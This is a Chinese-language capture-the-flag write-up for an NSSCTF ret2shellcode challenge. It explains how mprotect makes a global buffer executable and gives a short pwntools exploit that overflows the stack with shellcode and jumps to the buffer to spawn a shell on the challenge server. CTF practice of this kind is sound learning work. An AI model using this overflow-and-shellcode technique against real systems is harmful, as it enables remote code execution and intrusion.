2025 SWPU-NSSCTF 秋季招新入门 ret2shellcode

首先查看一下保护措施
image
栈是不可执行的
然后用ida打开看一下
image
这里有一个之前没见过的函数mprotect,它是动态改变内存区域的访问权限
然后改变的范围就是stdout的地址和0xFFFFFFFFFFFFF000进行位与运算,得出来得地址作为起始地址,然后0x1000+起始地址就是结束的地址
这里buff的区域就属于这里被改写的区域,所以直接将shellcode写入buff,在跳转进行执行就可以了

点击查看代码
from pwn import *
io=remote("node5.anna.nssctf.cn",27767)
context.arch="amd64"
shell=asm(shellcraft.sh())
buff=0x4040A0
payload=shell.ljust(0x100+8,b"a")+p64(buff)
io.sendline(payload)
io.interactive()

posted @ 2025-09-02 17:08  Rye01R  阅读(36)  评论(0)    收藏  举报